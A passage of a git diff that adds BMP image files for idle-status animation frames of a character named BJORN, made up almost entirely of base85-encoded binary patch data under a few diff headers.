zJCyo$w9z?Liw`s%K9qLn1IRczt!fuC^Yd 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 literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/BJORN/status/IDLE/IDLE3.bmp b/resources/default_config/characters/BJORN/status/IDLE/IDLE3.bmp new file mode 100644 index 0000000000000000000000000000000000000000..2ce8e311c0f733dab2dcad5ce71453089ff662ea GIT binary patch literal 18462 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 X51u^!8kRHYvCbG>%e;2pvgQ8*sy0GI literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/BJORN/status/IDLE/IDLE30.bmp b/resources/default_config/characters/BJORN/status/IDLE/IDLE30.bmp new file mode 100644 index 0000000000000000000000000000000000000000..a72ca5d344f399688b6091b9b383c9c92d657127 GIT binary patch literal 18462 zcmcJW2V4``*1&zg?|W~HqNuBD?i(wmfKi%w6P?o9_*F*_bb^=p}u*ptdPr>ul}jjfO%n_ zUmt>Pd5!+*v!4|B?^qXA!EbgSr>Bn{tD;eyJeje{F(;}DnyT0>MOk+WGjA;(Zx?6Z zDb4}MyG2>I3o~yYD|k?peaF)&Av!YU!i5VDS|2`WX?f7t(ALuYxb5LUZ}-^n(CZfy zAE!TjBJa{q@M%E*m(c%HR#4sGQ-Uv7R+QV({Y>4Hjm*fWD>{G*0bglOLq%S5Np=I^ ztITgMRY1G`Eb7j?B-`E$cm*h0C)35osB^P8~1(wWLDxd`V&HyUE!%4qg zk=IgJ)*c^GW{GvzcZxQQJY|x6)8xoav-q3lu{Y4kjVkB}8zdtu;dG#9wzpd{ixx_9 z@L|nlj&I*Cy$50_EQZ_)_t|3Lw^`qNhf&aWxVO4C`a}t6^i7~*s@M<8 z^P0d@z#xJ=vuJpK3ehz_Ch76x#{xKDaGz5OuKX3&Mc2rGQ{Cw^WE>N!YfCI>IG|>m z8Gn*R4EaS8xl@hEB88Ii0dCAA3{qH9bhQg3#?$49pL>R%TS`KBMW9<|h=1B(|A)cB z`JtitzW&*cj>(4lq08sG!u(Tr%2^>is-ed2+ad7XFjo<)=zV5~!M;Zdo*jSkTuuAg z6A!D38bMta=iDmEzFU5@8F)HQ#;us3QWttic1Hg6^fVCfYq;Od3f!Tfc2bfuC=TAW zrL8!O=P!!(n>8Ixjc9ch59Jk&kS?W?3WiveqZ1>-1mTbzU6Yr3)y9$$6;f1~ah+uE zL$ve8+B!Ejb&S8_4Ls)#jqrxYctfMSkMlf#|0rQ`^G&89QiL3RQktl|=_YAQ33L)N z$M0hmxS{tSKKS{C_&6t=C~B=OZBGa*-6Dw)v5eU&XC5C?ni^TDW#Ol8=BB2k zcf7QfN(j=^wZ2f(LnQ`SThK06cN!buTp3ZJzBz?OHIq}k&i*MN_~3Ky;K=;&^A83{ ztZ87aEG~Ns%zvv%gbu4%-OO{7sE#x$NfzPd&5Exnz2DV61u6#Y&&PSAFL+}U{C#+Y z+ubwO*7o8-^F*L`dT~)1fLrpLOQ7K7J6HwJjf{>k9lfIh3u}uWm*(7!4K651J*TB* zD`%U4iK9-$w1-WHLp23-~xQwE9g!g#~OzK7hZwXumf}Aa{OWiH1o*Z3y zjNNwoM(@Ztw|8I`*u>(#0FHwryrD7f&^Y(a2VU)oo9XG9|0$~gw7I33;NYAZQ&&}R zzaqam*eh$@J`HIonrP>yVnC;-_2|*q7(3>hH{AM$&a)>UpsZNH6{p6XG&iN3ENur4 zxhU^a@)0(L=u&;`swm`FV`D^gWM*T1&%5`)&ArhxwvA}-k9#{6JO0k&NC})U!W8$k5hxl2NmiBeTc` za8q;F^w>x55=W=v-_FFmc^~m?!s%FtO<1F;_a#MgzN$VhIkv>gjES;ld3i+U6;wX$ z9)J0k*E=*j0F*ky>m8g2No`sp;s*RNlH z%`ttQRRGG)FT`U!Yl@S;M!AY*EtQAg;1oTuXc( zMAFkO&WRknY3E9){x&fM2~CtUCjMk#!}GLhULKEU75J`;A&d#q{FSri2FWIob2I}fgIoP_MD1KO!dABGVXcUC9 zcYzJJG>s*t6p;!}X3g`m7r3mNb4=HWxR|6Z+gBh^|FUH5R50BvrL{p!b(5i|J}M7w zSAaq1*jXoAnMEVDT(l+i4%mdKQjX|K>+h9T7tc+tYrHv@7I$Kg_%>UQ1GsQ;J@OtY zg98#82Bw}lq^!z}qeZXZaDnoMpYw*EbDxj$M#gzV!`#Y}+nVYor)%pwpS@r*JsTPt z0F6LJi(p?ke8vjQ9hgC9R~OobQkCDds8P^&1JFAqxpyA5PE5SyjlG<42?%jIeJ<(M zynD@)-4I1FrGMa#$dL;4NEPOe)#i>TtaY6XL?9~_%nm8psVU-g#NiSOrsCQp8T&+S z&ua4ns@u12-&I;#_jZyuGR*b$h}7gM(bDOL?r&Q zy~8Ox>`4^vINkSH7WF(u%U9Xi(_?get{>q3?sylw8t%v_FE9JFtpzhDlMTcMqn^+C zmS6cJE6^yo+27yqNDeqw&{;(vco}GH*+QqK1m%M>tF28=CFO0vKt*SgLAts}0 zyqd+Mv5A!U5s*5T!8_uOdp+#+atRX!4lP{NgaajBN5$t zJ3qX54Lr-t>vz10ifbzHEsC&h$aG8m8LU~V1^T?L=dt*()YJ45f97o`6;JudxTLq! zyuP8i-#Zz;cEQhg?|Ajsy4{?8f!M$xmy>;d{zq1Uy`MUD%HKVun)48hMgS`qkW_LS zhKA<`$9VnxzMDJtayB9|E!@Ar#K;bg-$YGU#b@ad$_#DN%~dQcHf-7;A^ks;SV;%A z0WM!3Uxh@*I?(U|CJ1|&woO7-uQLdAqc+JL!XJfAx_)m>+2Zk2_^u$|UPwz{2SO2qT&V8e+ zS%Ur&Yhh7YWB}*b;$Rynm6LJ1w(>!5@6_Nh_xTv;`WNop>P=5Lb@BLsp@Eg2+5eJ) z_mR_7>=U$Ql#G<5u;xrz1-%Uz|NZ!Um|c!0{x}h$ui`}W4GT@pNjV3qkWLPN+VN^= z9Qe<abmF{c&t5-i8*uaYl7z{mr=^1{b8~acnZ9=Z zM^-`YJbd)Xi5hyM=wVUTjpD3&0WRop3NvnV((izi%G@Rz)nCg(&X@@?_m#8skTA3r z5wOtxADifiK4*@YEgXde-tRZ)1CQ&3C5`X|R#j)F!%%6-=N zuJZVe!QNL`GFjb0ZTL@IkPn;~~P8O46Rr$?$ zvIpEljhwDZO;^Sz$x~D1P`=x=G*DKsQYAALS_Oj4F_D2CM4|E5ueX70L4JNsbU0^r znimm~eAu5;Q`Ry(vd}-eFfcMd`jR&_%gf0uQ$uTGB2*-GH%nN`IvgXQ&!8}8F!pt5 z>^WPj3bHgt$Bu@>yQ8EmlpyBn@Hi|if$SR>HT_{q;7`A%%jMU<$hxr5)z!tM`X4K3 zDrMIfWZx(fSaR0wD$f1G0R{SQhQwSg`$Q#&L=}9B5;j^HYO#I$_Wkx|wFX!-N~r<4 z+!(=9Pl-JV+IL6ixSvPj?JGTRUQWftWQF>$&zBie$&%1&RpC|5`Te&If=4Ai@~2oJKXTvt|wJeR{G)H^rN;%HPt6L)fKny-JPHN zlMZz`C^-L&b*Y-tGID_12v>v2Azz%v`0?orJMjM|XXP>M>%20KPQJ2x* zZGzvdtg~53lBuYxPvRI-O5n&~B_i2tc$jPDJY92*i9pN=cQk%DQ&6Zw3KJoTM%q*qonNPWgU{0aIva; zq_-H8_BzHvkhI-~+WtoR!4`*A7#w|@Xn6}XrtjIzg}O%t>7XHi$g3U2b~$2M^%($%vdtWRI|8@lnbZNYDJinZjx+@Fgjs2aE^Sk@)O2?mPz}(CO&25PEF02nk%Rot*~+a#Xd{~8+uR^y+K7&1Z_i#3N9{6yJ2Lf zYZD@37cN0cl!K^?LX-|TrYaHQm1v2IvTE{h^%xzjJTphlE==6q#h?39Nq=2 zz}aOboG~)QI68V9%`LrhcikrTM-?*t=cxbP#mPkk&ww3Zwy%&)6?$g z#t@UUhsj}{CJ5s*XU_rgmm*%k4S46~_$lJgvA%d^8LQwm=T4uI*Zp65svM)#m{Mp& zFERG4F*TqHIXIZtox0${2!X;6+4=0i1?@9s?o*OR!_ZocTuoA%rV~e310|s%;|!5k zB85wsIqg7W$j8`^3No&j=ijR;Xm)4DI=lGYX=r=%j`v}j_wo%tg902=!<`NoN!8(q z<^hRSs6^Tux?pLOJBU*9F6o;qn8;H@?n%>L)#eW?mcn}auyoK|AHH8gGmiA_6_wt>PYviZ+`NA zYB8K1of{lp0D;e)JKcf)Ic~18m#^M`{dVra{{1E_2qMgc!ejtRz@UZ8KNlY5V@TX8qbZ&c zn~TsVT7+wnb9CTLMOm#wU7cNmj}r*i5V;?<4c2MG*X)-3m5>T27sH7hLt-%;mua|r zA7tD1-3rh{Y4LR@OWK*#@TjQN=P#xwUi10}=Z41?28QPVXjAiuu||XrBt~C0R^|Zu z*6rq+`>nJ{(VCHKL9TgbG2Kan9vCxoIY=F(Q-MDF&AuPoB13cC< zpI!cbnm_LB2hsW{(CfnMw;;>8;7vK}fxR3;zeO`UiGx*G!GorzcvPm7CTg{5qG5Pi zGWeXp)PQ(k8y}xIl9-LOp~|S49n`hgjjK_2JS=Zb5rG8$Hbpw5@D@muCrfWb?qS)BS}=Uj*}Pbj(&A7M-X|)w3zwMN; zgN(z6aL@3$wp@SAkhtp=leX 